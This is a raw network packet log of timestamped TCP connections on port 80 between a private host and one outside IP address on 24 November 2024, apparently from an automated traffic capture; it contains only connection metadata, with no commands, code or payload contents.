Nov 24, 2024 12:06:57.558274031 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.558837891 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.559263945 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.559402943 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.559437990 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.560379028 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.560550928 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.560583115 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.561491966 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.561592102 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.562659025 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.562710047 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.562766075 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.562843084 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.563713074 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.563802004 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.563843966 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.564821959 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.564958096 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.565000057 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.565943956 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.566059113 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.566890955 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.567121029 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.567267895 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.568167925 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.568207979 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.568283081 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.569268942 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.569309950 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.569364071 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.569397926 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.570396900 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.570524931 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.570566893 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.571614027 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.571686029 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.571736097 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.572582960 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.572710991 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.573685884 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.573728085 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.573760033 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.575141907 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.575151920 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.575331926 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.576581001 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.576617002 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.576628923 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.576658964 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.577358961 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.577481031 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.578248024 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.578291893 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.578361988 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.579737902 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.579745054 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.579777956 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.579818010 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.580672979 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.580851078 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.580894947 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.581785917 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.623068094 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.734484911 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.734514952 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.734592915 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.734853029 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.734939098 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.734997988 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.735727072 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.735836029 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.736836910 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.736891985 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.736960888 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.738140106 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.738193989 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.738210917 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.738259077 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.739046097 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.739157915 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.739203930 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.740310907 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.740396023 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.740437984 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.741255045 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.741381884 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.742432117 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.742475033 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.742480040 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.743496895 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.743509054 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.743578911 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.743618011 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.744613886 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.744735003 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.744786978 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.745749950 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.745846033 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.745884895 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.746793985 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.746916056 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.747901917 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.747961044 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.748039007 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.748080015 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.749074936 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.749186993 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.749231100 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.750145912 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.750272989 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.750313044 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.751245975 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.751384020 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.751425028 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.752501011 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.752612114 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.753611088 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.753654957 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.753878117 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:57.874375105 CET	80	50044	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:57.874438047 CET	50044	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:58.507601023 CET	80	50046	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:58.511712074 CET	50046	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:58.631777048 CET	80	50046	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:58.631917000 CET	50046	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:59.142819881 CET	50047	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:59.171658993 CET	50048	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:59.262475014 CET	80	50047	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:59.262542963 CET	50047	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:59.262660980 CET	50047	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:59.291244030 CET	80	50048	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:59.291333914 CET	50048	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:59.291413069 CET	50048	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:06:59.382082939 CET	80	50047	178.215.224.74	192.168.2.5
Nov 24, 2024 12:06:59.410943031 CET	80	50048	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:00.573169947 CET	80	50047	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:00.574501991 CET	50047	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:00.588345051 CET	50049	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:00.602314949 CET	80	50048	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:00.602778912 CET	50048	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:00.694430113 CET	80	50047	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:00.694514036 CET	50047	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:00.708693027 CET	80	50049	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:00.708822012 CET	50049	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:00.713148117 CET	50049	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:00.722731113 CET	80	50048	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:00.722816944 CET	50048	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:00.832683086 CET	80	50049	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:01.048382998 CET	50050	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:01.168095112 CET	80	50050	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:01.168183088 CET	50050	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:01.170134068 CET	50050	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:01.290329933 CET	80	50050	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:01.983961105 CET	80	50049	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:01.984061956 CET	50049	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:02.080176115 CET	50051	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:02.200670004 CET	80	50051	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:02.200751066 CET	50051	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:02.200848103 CET	50051	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:02.320807934 CET	80	50051	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:02.525516987 CET	80	50050	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:02.526160002 CET	50050	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:02.601675034 CET	50052	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:02.646137953 CET	80	50050	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:02.649024963 CET	50050	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:02.721371889 CET	80	50052	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:02.721462965 CET	50052	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:02.721672058 CET	50052	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:02.841099977 CET	80	50052	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:03.462672949 CET	80	50051	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:03.463974953 CET	50051	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:03.542224884 CET	50053	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:03.583797932 CET	80	50051	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:03.583873034 CET	50051	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:03.662008047 CET	80	50053	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:03.662092924 CET	50053	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:03.662314892 CET	50053	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:03.781757116 CET	80	50053	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:04.021311998 CET	80	50052	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:04.021871090 CET	50052	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:04.141824007 CET	80	50052	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:04.142004013 CET	50052	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:04.948981047 CET	50054	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:05.023026943 CET	80	50053	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:05.023689032 CET	50053	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:05.068993092 CET	80	50054	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:05.069072962 CET	50054	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:05.069210052 CET	50054	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:05.091516972 CET	50055	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:05.145078897 CET	80	50053	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:05.145137072 CET	50053	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:05.190224886 CET	80	50054	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:05.211714029 CET	80	50055	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:05.213627100 CET	50055	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:05.213975906 CET	50055	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:05.333452940 CET	80	50055	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:06.380728006 CET	80	50054	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:06.381227970 CET	50054	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:06.454065084 CET	50056	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:06.501995087 CET	80	50054	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:06.502142906 CET	50054	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:06.538067102 CET	80	50055	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:06.538513899 CET	50055	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:06.573643923 CET	80	50056	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:06.573760033 CET	50056	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:06.573904037 CET	50056	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:06.658627987 CET	80	50055	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:06.658706903 CET	50055	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:06.693892002 CET	80	50056	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:06.985956907 CET	80	50049	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:06.986052990 CET	50049	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:07.167171001 CET	50057	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:07.287259102 CET	80	50057	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:07.287350893 CET	50057	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:07.287653923 CET	50057	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:07.407147884 CET	80	50057	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:07.880842924 CET	80	50056	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:07.881409883 CET	50056	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:08.001348019 CET	80	50056	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:08.003293991 CET	50056	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:08.323188066 CET	50058	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:08.442796946 CET	80	50058	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:08.443051100 CET	50058	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:08.443237066 CET	50058	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:08.562778950 CET	80	50058	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:08.600600004 CET	80	50057	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:08.601026058 CET	50057	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:08.720856905 CET	80	50057	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:08.720937967 CET	50057	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:08.731550932 CET	50059	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:08.851140976 CET	80	50059	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:08.851238966 CET	50059	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:08.851373911 CET	50059	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:08.970812082 CET	80	50059	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:09.750458956 CET	80	50058	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:09.769021034 CET	50058	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:09.889046907 CET	80	50058	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:09.889108896 CET	50058	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:10.011483908 CET	50060	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:10.131213903 CET	80	50060	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:10.131342888 CET	50060	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:10.131541014 CET	50060	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:10.170840979 CET	80	50059	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:10.172192097 CET	50059	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:10.183954000 CET	50049	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:10.184124947 CET	50061	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:10.251039982 CET	80	50060	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:10.293143988 CET	80	50059	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:10.293221951 CET	50059	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:10.304171085 CET	80	50049	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:10.304187059 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:10.304286957 CET	50061	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:10.304375887 CET	50061	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:10.304409981 CET	50061	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:10.424032927 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:10.424062014 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:10.451430082 CET	49986	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:10.571175098 CET	80	49986	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:11.452795982 CET	80	50060	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:11.455360889 CET	50060	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:11.575232983 CET	80	50060	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:11.575359106 CET	50060	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:11.615094900 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:11.615170956 CET	50061	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:11.789019108 CET	50062	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:11.909301996 CET	80	50062	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:11.909434080 CET	50062	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:11.909528017 CET	50062	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:12.012516022 CET	50063	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:12.030308962 CET	80	50062	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:12.132554054 CET	80	50063	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:12.132757902 CET	50063	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:12.136986017 CET	50063	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:12.256612062 CET	80	50063	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:13.269902945 CET	80	50062	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:13.271732092 CET	50062	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:13.284379959 CET	50061	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:13.284379959 CET	50061	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:13.391769886 CET	80	50062	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:13.395210028 CET	50062	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:13.404114008 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:13.404171944 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:13.404187918 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:13.487483978 CET	80	50063	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:13.491548061 CET	50063	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:13.599742889 CET	50064	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:13.611644983 CET	80	50063	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:13.611764908 CET	50063	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:13.717500925 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:13.717585087 CET	50061	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:13.719880104 CET	80	50064	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:13.719990969 CET	50064	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:13.720417976 CET	50064	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:13.843676090 CET	80	50064	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:14.039362907 CET	50065	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:14.160448074 CET	80	50065	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:14.160531044 CET	50065	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:14.160656929 CET	50065	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:14.280157089 CET	80	50065	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:15.038777113 CET	80	50064	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:15.039335012 CET	50064	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:15.159692049 CET	80	50064	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:15.159799099 CET	50064	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:15.417066097 CET	80	50065	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:15.417530060 CET	50065	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:15.469031096 CET	50061	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:15.537523985 CET	80	50065	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:15.537602901 CET	50065	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:15.555918932 CET	50066	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:15.588830948 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:15.675764084 CET	80	50066	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:15.675879955 CET	50066	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:15.676050901 CET	50066	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:15.795514107 CET	80	50066	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:15.890384912 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:15.890505075 CET	50061	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:16.343646049 CET	50067	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:16.463233948 CET	80	50067	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:16.463442087 CET	50067	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:16.463442087 CET	50067	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:16.583725929 CET	80	50067	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:16.935607910 CET	80	50066	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:16.936325073 CET	50066	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:17.056417942 CET	80	50066	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:17.056494951 CET	50066	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:17.064970970 CET	50068	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:17.184561014 CET	80	50068	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:17.184835911 CET	50068	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:17.184931040 CET	50068	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:17.304904938 CET	80	50068	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:17.777966976 CET	80	50067	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:17.781313896 CET	50067	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:17.789242029 CET	50061	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:17.789242029 CET	50061	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:17.901160002 CET	80	50067	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:17.901246071 CET	50067	80	192.168.2.5	178.215.224.74
Nov 24, 2024 12:07:17.909883022 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:17.909965992 CET	80	50061	178.215.224.74	192.168.2.5
Nov 24, 2024 12:07:17.909996986 CET	80	50061	178.215.224.74	192.168.2.5
